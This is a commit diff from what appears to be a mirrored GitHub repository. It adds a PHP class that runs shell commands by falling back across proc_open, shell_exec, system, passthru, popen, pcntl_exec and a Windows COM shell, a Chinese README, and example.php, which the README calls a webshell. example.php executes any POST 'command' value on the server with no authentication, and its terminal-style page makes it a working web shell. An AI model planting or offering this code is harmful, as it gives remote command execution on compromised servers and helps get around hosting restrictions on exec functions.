mirror of https://github.com/xiaoqidun/shell.git
4 changed files with 371 additions and 1 deletions
Split View
Diff Options
-
1.gitignore
-
17README.md
-
103example.php
-
251shell.class.php
@ -0,0 +1 @@ |
|||
.idea/ |
@ -1,2 +1,17 @@ |
|||
# shell |
|||
# 简而言之 |
|||
大概是PHP最强大的SHELL执行类了 |
|||
# 系统兼容 |
|||
PHP 5.4 + (主要是用了中括号数组,改掉中括号数组可以要求更低) |
|||
# 使用说明 |
|||
## 示范代码 |
|||
```php |
|||
<?php |
|||
require 'shell.class.php'; |
|||
$command = "ls /"; |
|||
echo shell::command($command, "echo pwd", true); |
|||
?> |
|||
``` |
|||
## example.php |
|||
这是一个使用shell.class.php实现的webshell工具,用于shell类演示。 |
|||
# 授权说明 |
|||
使用本类库你唯一需要做的就是把LICENSE文件往你用到的项目中拷贝一份。 |
@ -0,0 +1,103 @@ |
|||
<?php |
|||
/** |
|||
* @author 肖其顿 <xiaoqidun@gmail.com> |
|||
*/ |
|||
$command = isset($_POST['command']) ? strval($_POST['command']) : ""; |
|||
if ($command !== "") { |
|||
require 'shell.class.php'; |
|||
echo shell::command($command, "echo pwd", true); |
|||
exit; |
|||
} |
|||
?>
|
|||
<html> |
|||
<head> |
|||
<title>web shell</title> |
|||
<style type="text/css"> |
|||
.author { |
|||
width: 100%; |
|||
color: white; |
|||
text-align: center; |
|||
background-color: black; |
|||
} |
|||
|
|||
.commandInput { |
|||
width: 100%; |
|||
height: 3%; |
|||
color: white; |
|||
background-color: black; |
|||
} |
|||
|
|||
.commandResult { |
|||
width: 100%; |
|||
height: 75%; |
|||
color: white; |
|||
overflow: scroll; |
|||
background-color: black; |
|||
} |
|||
|
|||
.commandHistory { |
|||
width: 100%; |
|||
height: 15%; |
|||
color: white; |
|||
overflow: scroll; |
|||
background-color: black; |
|||
} |
|||
</style> |
|||
<script type="text/javascript"> |
|||
function enter() { |
|||
if (event.keyCode == 13) { |
|||
command(); |
|||
} |
|||
} |
|||
|
|||
function command() { |
|||
var commandInput = document.getElementById('commandInput'); |
|||
if (commandInput.value.length > 0) { |
|||
var commandResult = document.getElementById('commandResult'); |
|||
var commandHistory = document.getElementById('commandHistory'); |
|||
if (commandHistory.innerHTML.length < 1) { |
|||
commandHistory.innerHTML = commandInput.value; |
|||
} else { |
|||
commandHistory.innerHTML = commandHistory.innerHTML + "\n" + commandInput.value; |
|||
} |
|||
commandHistory.scrollTop = commandHistory.scrollHeight; |
|||
if (commandInput.value === 'clear') { |
|||
commandInput.value = ""; |
|||
commandResult.innerHTML = ""; |
|||
commandHistory.innerHTML = ""; |
|||
return; |
|||
} |
|||
command_ajax(); |
|||
} |
|||
} |
|||
|
|||
function command_ajax() { |
|||
var xmlHttp = new XMLHttpRequest; |
|||
var commandInput = document.getElementById('commandInput'); |
|||
var commandResult = document.getElementById('commandResult'); |
|||
xmlHttp.open("POST", "?", true); |
|||
xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); |
|||
xmlHttp.send("command=" + encodeURI(commandInput.value)); |
|||
commandInput.value = ""; |
|||
xmlHttp.onreadystatechange = function () { |
|||
if (xmlHttp.readyState === 4 && xmlHttp.status === 200) { |
|||
if (commandResult.innerHTML.length < 1) { |
|||
commandResult.innerHTML = xmlHttp.responseText; |
|||
} else { |
|||
commandResult.innerHTML = commandResult.innerHTML + "\n" + xmlHttp.responseText; |
|||
} |
|||
commandResult.scrollTop = commandResult.scrollHeight; |
|||
} |
|||
} |
|||
} |
|||
</script> |
|||
</head> |
|||
<body> |
|||
<input id="commandInput" class="commandInput" onkeydown="enter()" placeholder="command"> |
|||
<pre id="commandHistory" class="commandHistory"></pre> |
|||
<pre id="commandResult" class="commandResult"></pre> |
|||
<div class="author"> |
|||
CopyRight © 2017-<?= date("Y") + 1 ?> xiaoqidun@gmail.com All Rights Reserved
|
|||
</div> |
|||
</body> |
|||
</html> |
@ -0,0 +1,251 @@ |
|||
<?php |
|||
/** |
|||
* @author 肖其顿 <xiaoqidun@gmail.com> |
|||
*/ |
|||
|
|||
class shell |
|||
{ |
|||
public static $version = 'v1.0.0'; |
|||
|
|||
public static function Convert($string, $to = 'utf-8', $from = 'auto,cp936') |
|||
{ |
|||
$func = 'mb_convert_encoding'; |
|||
if (!function_exists($func)) { |
|||
return $string; |
|||
} |
|||
return $func($string, $to, $from); |
|||
} |
|||
|
|||
public static function Command($command, $testCommand = null, $convert = false) |
|||
{ |
|||
$typeA = 'proc_open'; |
|||
$typeB = 'shell_exec'; |
|||
$typeC = 'exec'; |
|||
$typeD = 'system'; |
|||
$typeE = 'passthru'; |
|||
$typeF = 'popen'; |
|||
$typeG = 'pcntl_exec'; |
|||
$typeH = 'com'; |
|||
$typeRank = [ |
|||
$typeH, |
|||
$typeA, |
|||
$typeB, |
|||
$typeD, |
|||
$typeE, |
|||
$typeC, |
|||
$typeF, |
|||
$typeG |
|||
]; |
|||
if (!is_array($command)) $command = [$command]; |
|||
if (!is_array($testCommand) && $testCommand !== null) $testCommand = [$testCommand]; |
|||
$commandFunctions = [ |
|||
$typeA => [ |
|||
'command' => |
|||
function ($command) { |
|||
$cmd = "exec " . self::GetShellFile(); |
|||
if (defined('PHP_WINDOWS_VERSION_BUILD')) { |
|||
$cmd = self::GetShellFile(); |
|||
} |
|||
if (!is_resource($sh = proc_open($cmd, [ |
|||
0 => |
|||
["pipe", "r"], |
|||
1 => |
|||
["pipe", "w"] |
|||
], $pipes))) { |
|||
return false; |
|||
} |
|||
foreach ($command as $commandLine) { |
|||
fwrite($pipes[0], $commandLine . PHP_EOL); |
|||
} |
|||
fclose($pipes[0]); |
|||
$result = stream_get_contents($pipes[1]); |
|||
fclose($pipes[1]); |
|||
proc_close($sh); |
|||
return $result; |
|||
}, |
|||
'function' => |
|||
[ |
|||
'proc_open', |
|||
'stream_get_contents' |
|||
] |
|||
], |
|||
$typeB => [ |
|||
'command' => function ($command) { |
|||
$commandResult = ""; |
|||
foreach ($command as $commandLine) { |
|||
$commandResult .= shell_exec($commandLine); |
|||
} |
|||
return $commandResult; |
|||
}, |
|||
'function' => [ |
|||
'shell_exec' |
|||
] |
|||
], |
|||
$typeC => [ |
|||
'command' => function ($command) { |
|||
$commandResult = ""; |
|||
foreach ($command as $commandLine) { |
|||
exec($commandLine, $commandOutput); |
|||
$commandResult .= implode(PHP_EOL, $commandOutput); |
|||
} |
|||
return $commandResult; |
|||
}, |
|||
'function' => [ |
|||
'exec' |
|||
] |
|||
], |
|||
$typeD => [ |
|||
'command' => function ($command) { |
|||
ob_start(); |
|||
foreach ($command as $commandLine) { |
|||
system($commandLine); |
|||
} |
|||
$commandResult = ob_get_clean(); |
|||
return $commandResult; |
|||
}, |
|||
'function' => [ |
|||
'system', |
|||
'ob_start', |
|||
'ob_get_clean' |
|||
] |
|||
], |
|||
$typeE => [ |
|||
'command' => function ($command) { |
|||
ob_start(); |
|||
foreach ($command as $commandLine) { |
|||
passthru($commandLine); |
|||
} |
|||
$commandResult = ob_get_clean(); |
|||
return $commandResult; |
|||
}, |
|||
'function' => [ |
|||
'passthru', |
|||
'ob_start', |
|||
'ob_get_clean' |
|||
] |
|||
], |
|||
$typeF => [ |
|||
'command' => function ($command) { |
|||
$commandResult = ""; |
|||
foreach ($command as $commandLine) { |
|||
$p = popen($commandLine, "r"); |
|||
while (!feof($p)) { |
|||
$commandResult .= fgets($p); |
|||
} |
|||
} |
|||
}, |
|||
'function' => [ |
|||
'popen' |
|||
] |
|||
], |
|||
$typeG => [ |
|||
'command' => function ($command) { |
|||
$command[] = ''; |
|||
$outputFile = tempnam(null, 'commandOutput_'); |
|||
$outputFilePipe = sprintf(" >> %s 2>&1%s", $outputFile, PHP_EOL); |
|||
$commandString = implode($outputFilePipe, $command); |
|||
$commandProcess = pcntl_fork(); |
|||
if ($commandProcess == 0) { |
|||
pcntl_exec(self::GetShellFile(), ["-c", $commandString]); |
|||
} |
|||
pcntl_waitpid($commandProcess, $status); |
|||
$commandResult = file_get_contents($outputFile); |
|||
unlink($outputFile); |
|||
return $commandResult; |
|||
}, |
|||
'function' => [ |
|||
'pcntl_exec', |
|||
'pcntl_fork', |
|||
'pcntl_waitpid' |
|||
] |
|||
], |
|||
$typeH => [ |
|||
'command' => function ($command) { |
|||
$commandResult = ""; |
|||
try { |
|||
$ws = new \COM("wscript.shell"); |
|||
$exec = $ws->Exec(self::GetShellFile()); |
|||
foreach ($command as $commandLine) { |
|||
$exec->StdIn->WriteLine("$commandLine"); |
|||
} |
|||
$exec->StdIn->WriteLine("exit"); |
|||
$exec->StdIn->Close(); |
|||
while (0 === $exec->Status) { |
|||
time_nanosleep(0, 1e8); |
|||
} |
|||
$commandResult = $exec->StdOut->ReadAll() . $exec->StdErr->ReadAll(); |
|||
} catch (\Exception $exception) { |
|||
|
|||
} |
|||
return $commandResult; |
|||
}, |
|||
'class' => [ |
|||
'\COM' |
|||
] |
|||
] |
|||
]; |
|||
foreach ($commandFunctions as $tag => $item) { |
|||
if (isset($item['class'])) { |
|||
foreach ($item['class'] as $cls) { |
|||
if (!class_exists($cls)) { |
|||
unset($func); |
|||
unset($commandFunctions[$tag]); |
|||
} |
|||
} |
|||
} |
|||
if (isset($item['function'])) { |
|||
foreach ($item['function'] as $func) { |
|||
if (!function_exists($func)) { |
|||
unset($func); |
|||
unset($commandFunctions[$tag]); |
|||
break; |
|||
} |
|||
unset($func); |
|||
} |
|||
} |
|||
unset($tag); |
|||
unset($item); |
|||
} |
|||
if ($testCommand !== null) { |
|||
foreach ($commandFunctions as $tag => $item) { |
|||
$commandResult = $item['command']($testCommand); |
|||
if (1 > strlen($commandResult)) { |
|||
unset($commandFunctions[$tag]); |
|||
} |
|||
unset($tag); |
|||
unset($item); |
|||
} |
|||
} |
|||
foreach ($typeRank as $type) { |
|||
if (isset($commandFunctions[$type])) { |
|||
$commandReturn = $commandFunctions[$type]['command']($command); |
|||
if ($convert) { |
|||
return self::Convert($commandReturn); |
|||
} |
|||
return $commandReturn; |
|||
} |
|||
unset($type); |
|||
} |
|||
return false; |
|||
} |
|||
|
|||
public static function GetShellFile() |
|||
{ |
|||
$shellFileList = [ |
|||
'C:\Windows\System32\cmd.exe', |
|||
'C:\Windows\SysWOW64\cmd.exe', |
|||
'/system/bin/sh', |
|||
'/bin/bash', |
|||
'/bin/sh' |
|||
]; |
|||
foreach ($shellFileList as $shellFile) { |
|||
if (is_executable($shellFile)) { |
|||
return $shellFile; |
|||
} |
|||
} |
|||
if (defined('PHP_WINDOWS_VERSION_BUILD')) { |
|||
return 'cmd.exe'; |
|||
} |
|||
return 'sh'; |
|||
} |
|||
} |
Write
Preview
Loading…
Cancel
Save